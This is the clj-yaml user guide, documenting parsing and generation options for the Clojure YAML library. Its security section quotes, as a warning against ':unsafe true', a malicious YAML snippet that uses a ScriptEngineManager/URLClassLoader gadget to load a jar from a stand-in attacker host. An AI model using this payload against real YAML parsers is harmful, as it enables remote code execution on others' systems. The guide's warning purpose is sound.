You want to learn more about how to use the clj-yaml library from your app, library or script.
Clj-yaml is a Clojure wrapper over SnakeYAML.
-
Feb 2010 - lancepantz/clj-yaml is created
-
Dec 2013 - circleci/clj-yaml picks up the torch
-
Jan 2019 - clj-commons adopts clj-yaml where it can get the ongoing love and care that it needs
To get the latest changes that are not yet released to Clojars, you can use this library as a git dependency:
$ cat deps.edn
{:deps {clj-commons/clj-yaml {:git/url "https://github.com/clj-commons/clj-yaml"
:git/sha "05eaca35c34c092ffdd2e620ef07962ce147a88b"}}}
$ clj -X:deps prep
$ clj -M -e "(require '[clj-yaml.core :as yaml])"Replace the :git/sha value as appropriate.
When the clj-commons/clj-yaml team adopted clj-yaml it made some assumptions about the clj-yaml public API. It turns out folks are using more of clj-yaml than we originally expected.
We encourage you to stick to the higher level functions as documented in the clj-yaml.core namespace.
If you do find yourself needing to use the lower level functions, please let us know. Perhaps you are doing so to overcome a limitation in clj-yaml that we could address to everyone’s benefit.
Note that:
-
babashka only exposes the higher level functions.
-
this user guide only describes and promotes usage of higher level functions
(require '[clj-yaml.core :as yaml])
(yaml/generate-string
[{:name "John Smith", :age 33}
{:name "Mary Smith", :age 27}])
;; => "- {name: John Smith, age: 33}\n- {name: Mary Smith, age: 27}\n"
(yaml/parse-string "
- {name: John Smith, age: 33}
- name: Mary Smith
age: 27
")
;; => ({:name "John Smith", :age 33}
;; {:name "Mary Smith", :age 27})By default, YAML keys are converted to Clojure keywords. To prevent this, include the :keywords false option when calling parse-string or parse-stream functions:
(yaml/parse-string "
- {name: John Smith}
" :keywords false)
;; => ({"name" "John Smith"})The :keywords option defaults to true for historical reasons.
When clj-yaml detects a key that cannot be converted to a Clojure keyword, it will leave it unconverted.
Detection and conversion is not sophisticated and can result in keywords that are illegal and unreadable.
For this reason we added the :key-fn option.
This allows you to take control and do whatever conversion makes sense for your YAML key inputs.
You can use :key-fn to do something similar to :keywords true:
(yaml/parse-string "
- {name: John Smith}
" :key-fn #(-> % :key keyword))
;; => ({:name "John Smith"})Or, something entirely different:
(require '[clojure.string :as string])
(yaml/parse-string "
- {name: John Smith}
" :key-fn #(-> % :key string/upper-case string/reverse))
;; => ({"EMAN" "John Smith"})Unknown tags can be handled by passing a handler function via the :unknown-tag-fn option.
The handler function is provided a map which includes :tag and :value keys.
Note that the value passed to the unknown-tag-fn is a string if it’s a scalar, regardless of the quoting (or lack thereof) of the scalar value.
;; drop unknown tags
(yaml/parse-string "!Base12 10" :unknown-tag-fn :value
;; => "10"
;; or do some smart convertion
(yaml/parse-string "!Base12 10"
:unknown-tag-fn (fn [{:keys [tag value]}]
(if (= "!Base12" tag)
(Integer/parseInt value 12)
value)))
;; => 12Clj-yaml optionally supports the creation of Java classes. This is considered unsafe.
|
Important
|
Be very wary of specifying :unsafe true unless you completely trust your YAML inputs.
Consider instead using :unknown-tag-fn for fine and deliberate control.
|
An example of some malicious YAML is well described by J0VSEC. Here’s the dangerous snippet described:
some_var: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://attacker-server.tld/poc.jar"]]]]Also security related are the :allow-recursive-keys, :max-aliases-for-collections, and :nesting-depth-limit options.
You can ask clj-yaml to return parsed YAML with extra positional data markers via the :mark true option.
(yaml/parse-string "
- name: Mary Smith
age: 27
" :mark true)
;; => {:start {:line 1, :index 1, :column 0},
;; :end {:line 3, :index 30, :column 0},
;; :unmark
;; ({:start {:line 1, :index 3, :column 2},
;; :end {:line 3, :index 30, :column 0},
;; :unmark
;; {{:start {:line 1, :index 3, :column 2},
;; :end {:line 1, :index 7, :column 6},
;; :unmark "name"}
;; {:start {:line 1, :index 9, :column 8},
;; :end {:line 1, :index 19, :column 18},
;; :unmark "Mary Smith"},
;; {:start {:line 2, :index 22, :column 2},
;; :end {:line 2, :index 25, :column 5},
;; :unmark "age"}
;; {:start {:line 2, :index 27, :column 7},
;; :end {:line 2, :index 29, :column 9},
;; :unmark 27}}})}In reality, the :start :end and :unmark maps are internally a record and can be recognized via marked? and unwrapped via unmark.
SnakeYAML implementation (that clj-yaml uses for low-level encoding and decoding) imposes the default limit of 3 megabyte document size for security reasons (issue). If you hit this limitation, you need to explicitly increase the limit by setting the :code-point-limit option:
(parse-string bigger-than-default-limit)
;; Execution error (YAMLException) at org.yaml.snakeyaml.scanner.ScannerImpl/fetchMoreTokens (ScannerImpl.java:342).
;; The incoming YAML document exceeds the limit: 3145728 code points.
(parse-string bigger-than-default-limit :code-point-limit (* 10 1024 1024))
;; outputs the long stringDifferent flow styles (:auto, :block, :flow) allow customization of how YAML is rendered.
To demonstrate, let’s setup some-data to play with.
(def some-yaml "
todo:
issues:
- name: Fix all the things
responsible:
name: Rita
")
(def some-data (yaml/parse-string some-yaml))To select the :block flow style:
(yaml/generate-string some-data :dumper-options {:flow-style :block})results in a string of YAML, that when printed:
todo:
issues:
- name: Fix all the things
responsible:
name: RitaThe same but with the :flow style results in:
{todo: {issues: [{name: Fix all the things, responsible: {name: Rita}}]}}And finally the :auto style (the default) renders:
todo:
issues:
- name: Fix all the things
responsible: {name: Rita}Use :indent to control block indentation, to override the default block indent of 2 with 4:
(yaml/generate-string some-data :dumper-options {:indent 4
:flow-style :block})results in:
todo:
issues:
- name: Fix all the things
responsible:
name: RitaNotice that each block is now indented by 4.
Use :indicator-indent to change the indentation of the - indicator; by default, it is 0; let’s bump it up to 2:
(yaml/generate-string some-data :dumper-options {:indent 4
:indicator-indent 2
:flow-style :block})results in:
todo:
issues:
- name: Fix all the things
responsible:
name: RitaNotice that the blocks are still indented by 4, but the - indicator is now indented by 2.
Indenting the - indicator within the block :indent can be limiting.
Sometimes, you’ll want to indent - blocks more than other blocks.
Specifying :indent-with-indicator true makes block indentation for - indicators additive; the indicator is still indented by :indicator-indent, but its block is indented by :indent + :indicator-indent.
(yaml/generate-string some-data :dumper-options {:indent 4
:indicator-indent 2
:indent-with-indicator true
:flow-style :block})results in:
todo:
issues:
- name: Fix all the things
responsible:
name: RitaYou’ll notice that the - indicator is indented by 2, but its block is now indented by 6 (4 + 2).
A common usage of indent-with-indicator true is to indent arrays like so:
(yaml/generate-string some-data :dumper-options {:indent 2
:indicator-indent 2
:indent-with-indicator true
:flow-style :block})results in:
todo:
issues:
- name: Fix all the things
responsible:
name: RitaWe now have:
-
a block indentation of
2by default -
an
-indicator indentation of2 -
a block indentation of
4for-indicator content
|
Tip
|
Unless you are using (yaml/generate-string some-data :dumper-options {:indent 2
:indicator-indent 1
:flow-style :block})results in: todo:
issues:
-
name: Fix all the things
responsible:
name: Rita |
You’ll notice that clj-yaml functions use keyword args for options.
Clojure 1.11 allows these types of functions to instead be called with a map for the options:
;; old school
(yaml/parse-string "ok: 42" :keywords false)
;; => {"ok" 42}
;; clojure 1.11 also allows:
(yaml/parse-string "ok: 42" {:keywords false})
;; => {"ok" 42}|
Tip
|
If you are using a version of Clojure before v1.11, or you want to stay compatible with older versions of Clojure, you’ll need to call these functions the old school way. |